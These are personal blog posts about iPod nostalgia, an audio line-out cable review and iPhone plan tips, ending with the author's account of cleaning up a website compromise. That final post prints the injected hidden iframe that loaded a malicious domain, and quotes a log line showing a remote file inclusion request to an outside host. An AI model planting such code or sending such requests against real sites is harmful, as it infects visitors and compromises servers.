Fruggums

It was somewhere in 2003 that I was asked by my Mom's friend to rip a couple hundred CDs to her laptop so she could put it on her iPod. Being completely business-minded since a young age I charged her per CD (at the time this was a skill not many kids my age had). I didn't know what an iPod was. Heck, nobody new. I hardly even knew Apple even did anything other than that Mac thing that so totally failed - and anyone who bought one was an idiot.

So there I was with this PC laptop and a boxed third generation iPod and a big stack of CDs to get onto it. As I un-boxed the iPod, you can't imagine the sort of immense 'wow' you get out of it. They don't package iPods like that anymore. It came in a medium-sized cube which folded out, and one was greeted with the 'Designed by Apple in California' on opening it. The type on the box was glossy silver. It came with a Firewire and USB cable, along with a dock, pouch, case and cloth.

I didn't know how to use it. It only took a few minutes to figure the thing out. The backlight to the four top buttons was red. I liked that. The hold key got me confused for a second (why isn't this darn thing working?!) but then you just click it back to white and it lights up on its own. You scroll around, you punch in the center. Hey these headphones came with it... hey this sounds pretty good! Oh shit this thing lasts 8 hours?! How many GB did you say? I don't even have that much music.... Oh wow the metal back is so shiny... and there's a silver Apple etched right in the middle of it... they muse use lasers to do that...

... Holy expletive who came up with this.

So I spent a few days transferring the music onto it and careful sneaking in a couple hours of listening time in between study breaks. Eventually, since it wasn't mine, I had to let it go but the fascination continued and I found myself on Apple.com a few times a week just reading about what they were up to with all this.

I don't remember how long it was till Mom gifted me one of these. 20 gigabytes. Carry all your music in your pocket. Before this I used to listen to music on my phone or carry around a little pocket radio (those were so popular, and when they started making them look like iPods you knew radio is dying). I was addicted to it. A little treasure. Always carried in the case. No keys in that pocket, ever.

Having an iPod in 2003 was very different from having an iPod in 2009 (wow, six years huh). I'm not talking about it being a status symbol. It wasn't just that. Sure, you had to be quite fortunate to have one, but there was more to it. iPods weren't popular at all. Especially in India. Not many people even knew what Apple was all about (me included). So this exciting new device came fresh without any background and could just stun people. If you had an iPod then, you were unique (and again, not only because your parents could afford it). There was something about it that said you knew what good design was all about. It was almost as if you knew Apple was going to take over the world at that point. And you had the first bits of it. The iPod wasn't a trend, it wasn't cool necessarily, it was what is was because of design and function. No other player could carry as much music. No other player was as thin, sleek and well thought out in doing so. As simple as that.

So there was something special in being part of the Apple culture at the time. Was it because it was so small? That's one of the reasons. Another reason is you had to be smart to have one. This is a time when (in my surrounding humanity) the knowledge on how to properly copy a CD wasn't very widespread (this also because most people didn't have CD burners). Sure the thing came with a manual, and everything you needed - but you just had to be a geek of sorts to really use it (this is how we started - with me getting the work of somebody who didn't have a clue about using it). You had to know how to obtain music (P2P was still quite new back then and CDs were expensive) then get it on the thing and then keep it there while knowing how to avoid breaking this delicate glossy godly creation. Not everyone knew it back then, and at age 13 in 2003. You were, essentially, part of the technological elite. And that was something. To this day I consider the 3rd gen iPod the best design Apple has produced for its iPod line.

Today's iPod has retained nothing of the sort. Now, I'm not saying this in a bad way. If iPods didn't become popular, Apple wouldn't have rejuvenated Mac - and the iPhone simply wouldn't exist today. So it was definitely a great thing to happen to the company. But along with this came popularity. Mass popularity. It wasn't because suddenly everyone knew how to use iPods i.e. they became geeky enough to evolve into the culture, its simply because the average-everyday-daily-Joe-Windows2000user people started buying it, and rattled their way around and somehow got it to work. Then it became cool. Then everyone had one. So it became a necessity. A requirement. Not a choice, a requirement (and how and why is another long story).

You know what was the requirement in 2003? Windows XP.

Funny, isn't it.

So Apple has become immensely popular, people flock to the 'Mac Store' (ugh, idiots), buy up their shiny new gear and profess their genius for choosing 'an Apple'. Why did they choose it? Heck they aren't entirely sure themselves. But they knew that they couldn't go PC. Isn't current requirement.

Then Apple started catering to the mass market. Oh yes, this is optional extra. So is this. Hey, new iPod! Hey look guys, time to upgrade your Macs to this one! Yeah isn't Steve Jobs your childhood hero?

And then every time Apple releases something new the whole world goes 'Oh my... honey, get the car' and dashes off to stand in line so they can get one on the very first day, use it to a quarter of its potential, and repeat the process within the very same year. Apple is my life!

Well, I'm portraying Apple as quite evil here. Far from. They still do make better computers than any other company. A better phone. Best portable music device. The people who deny it are doing it because - Apple consumers are now either a) Normal people who bought a Mac because they're ignorant or b) The ultimate fanboys. Neither of the groups give the culture a very good standing.

You know when I used to drool over new products Apple came out with? When I was sure the entire world wasn't behind me willing to stamp me down to get to it first. Now, I'm content with my Mac (and will be for years), don't plan on replacing my iPod for a long, long time (or my iPhone) and the new releases of iMacs yesterday just flew right by me.

Its impossible to get small-company Apple back. When they were generous enough to present us with the full package rather than have us buy additional bits which should've been in the box. What I'd like to see is companies bringing back that innovative charm to technology that won't have the masses swooning - because they won't understand it. Just like the first iPod.

Azhar Chougle | www.azharc.com

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I've returned to two pieces of software I thought I'd share, because one requires some convincing for people to hop on.

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After my intensive reading of Head-Fi, I realized that regarding my current rig, there is one major flaw - source.
 
Taking output from the headphone jack of an iPod is actually quite an 'average' source. Its nothing special and because the sound is going through all those el-cheapo components right out of the DAC (Digital to Analog converter), quality suffers.
 
So I realized that I needed to get a Line Out Cable.
 
What this cable does is let me get pure line-out audio from an iPod. It bypasses the tiny mediocre amp and circuitry leading to the headphone port and gives me unaltered pure analog signals straight from the source.
 
So I went out, did my research, and settled on a Qables Performance Line cable (Other great makers are ALO Audio and Moon Audio. There are a lot of people who make their own. The most expensive cables cost around $300 or more). Here's my mini-review.
 
After listening to just a few songs (without burning-in the cable) - the difference is bloody obvious, and I only expect it to get better as proceed to burning it in.
 
From the iPod (ALAC), to the Qable, to a Headroom AirHead, to the ER-4Ps, let me tell you, it sounds miles better.
 
I don't even have to delve into specifics, the overall sound itself is far richer, crisper, warmer, cleaner. The most pronounced improvement is in the mids - they seem to pop a lot more than before. The bass is much more well-rounded and a wee bit stronger (appearance of even lower frequencies). Taking the boom of a bass drum as an example, instead of being a single sound occurrence, like a little singular pop, it has a beginning fade-in, the pop, and an end fade-out - there's a little more resonance and impact. Overall, the sound feels a lot more balanced, everything seems to blend together in harmony (warmer) - I especially love this because the ER-4Ps tend to lean toward the clinical/cold side sometimes. The soundstage is also extended by a bit, but this one took a bit of time to realize. Really, it is a very large difference from the headphone port.
 
Overall, an LOC (especially a quality one) is a fantastic investment. Don't worry Mom, I paid for it myself.

Azhar Chougle | www.azharc.com

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Today I spent most of my day (wait... all of my day) reading Head-Fi. (Sparked my my post yesterday and the fact one of my friends is buying new headphones.)

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Anybody who knows me beyond a How Are You knows I'm a total audiophile (not a hardcore guy who knows every single thing there is to know, just someone who truly appreciates and longs for great sound). And while I may not fork up the cash for dreamy audio equipment, I try my best to squeeze the most out of what I can afford (and I'm not complaining, I've been privileged with some quality sound and am thankful for every moment of it)

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If you have an iPhone, you know that we privileged folk pay a steep monthly rental to grace our lives with it.

Well, you better make sure you get your moneys worth.

Unfortunately, I know too many people that don't know how to use their iPhone (most don't even know how to set up e-mail). Firstly, don't buy one if you don't know how to use it. I don't care if its a status symbol, its 'cool' or you like touching/licking glass. If you need to buy one, buy it for someone who actually knows how to use it. I beg you. More on this later.

Now, back to taking full advantage of your iPhone plan. Three sectors : Data, Voice, Text. 

Data is (for me) by far the easiest to gnaw on. I have consumed nearly a gig of bandwidth on my phone in the past six months. The easiest way to do it? Use your bloody phone. Mail, Twitter, it isn't hard at all. You know it can browse the web too? But seriously, if you really want to spike your data usage, get Pandora, Last.fm, Google Earth, NetNewsWire (although I can't wait for NewsFire for the iPhone), all are pretty demanding apps that will burn those megabytes in minutes. But wait, you shouldn't be using them just because that means you're getting your moneys worth, you should be using them because heck, they're friggin' amazing things only an iPhone can do (well, fine, the RSS reading isn't an exclusive, but still)

Voice. Now you can do it the boring way by calling people, or you can have some fun with it. Actually, voice and text can be easily wasted away with two fantastic services you might forget about when you will need them most.

Cha Cha and GOOG-411

Cha Cha answers questions. Literally. Call or text, ask, and they'll send you an answer. Any question (answered by humans, by the way). It works really well, and take it for a spin just for fun.

GOOG-411 is your USA-directory on the go. Voice recognition can be a bit awry if you don't have an American accent but it works pretty well if you talk slow and clear. Find businesses, pizza, staplers, whatever, and Google will connect you.

Two other ways to use up text messages, and pretty obvious ones, Twitter / Posterous.

Seriously, if you're reading my posterous, and don't know what posterous is... well, I forgive you. But Twitter, you must know of (why aren't you on it? Are you not cool? Facebook isn't cool anymore you know)

If you are an iPhone user, but don't know how to use it, don't worry, its totally fine, I wrote up a fantastic guide just for you.

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I woke up today to a complete nightmare. All of my websites were 'infected'. They were tagged by Google as malicious (and they were right this time). I had no idea what was going on. Google said the usual, this site may harm your computer etc. and then referred to all my sites as this domain 'litetopfindworld.cn'

Of course my first reaction was to blame my host, Media Temple, and assume I'd been hacked or something of the sort. 

After sending a few angry messages to them (sorry about that), seems they had nothing to do with it. Essentially, it was my fault (sorry again). Of course, I had no idea what the source was, what it was doing, or how to rectify it.

Note this is at 10AM, and I have a class at noon, so I was pretty tense.

Eventually I find this : http://google.com/safebrowsing/diagnostic?tpl=safari&site=litetopfindworld.cn&hl=en-us which unfortunately means that anyone who visited any of the sites hosted on my server may have been infected with up to 212 trojans (I say *may* because I can't be sure - read further down the page I just linked to). Please run Ad-Aware or something of the sort. I sincerely apologize for this, but as you will find out it isn't completely my fault (but you can blame me anyways). Again, any anti-spyware program should do it. If you had an anti-virus running in the background, you should be alright, but do scan anyways. Mac users, you're fine, but if you're concerned go ahead and run MacScan.

So it seems this malicious code (do not visit the site below) :

<iframe src="http://litetopfindworld.cn/in.cgi?cocacola32" width=1 height=1 style="visibility: hidden"></iframe>

Was being added next to the <body> tag on all my pages. Essentially it was secretly loading a malicious webpage, which you wouldn't know of, unless you looked at the code, or Google stopped you (if you are logged in to your Google account while browsing, it automatically does, by default)

I managed to remove the line of code from all my sites manually. However, it kept reappearing on my blog. 

At which point Media Temple's support staff asked me to SSH in and use this command to search for scripts that may have been infiltrated, using a method called Remote File Inclusion.

grep "?*=http://" ../../logs/access_log*| awk '/Jan/ && /libww/ && $9 !~/^4/'

Which returned :

../../logs/access_log-2009-01-30-12.processed:72.47.202.35 - - [30/Jan/2009:12:17:41 -0800] "GET /thedailysunrise.com/?_SERVER[DOCUMENT_ROOT]=http://www.aerothaiunion.com/sik.txt? HTTP/1.1" 200 37091 "-" "libwww-perl/5.79"

... and I didn't really know what it means. So I asked, turns out the source was my index.php file on thedailysunrise.com. There are two scripts on that page which could have been targeted for such an attack. One was Text-Link-Ads and the other was my Stats tracking, which was done by SlimStat. 

If it was TLA, I would have received an e-mail to update my code. Thousands of people use it, and a vulnerability would spread fast and someone would say something. So it had to be SlimStat. I'm not exactly sure how it all worked, but the line of code that was on all my pages, to include SlimStat's function, was compromised, and injecting that line of code on all my pages, rendering all my websites dangerous.

So I got rid of SlimStat.

And now everything seems to be fine. Again, sorry to everyone affected, and Media Temple, for doubting them (again).

Time to ante my SSH skills.

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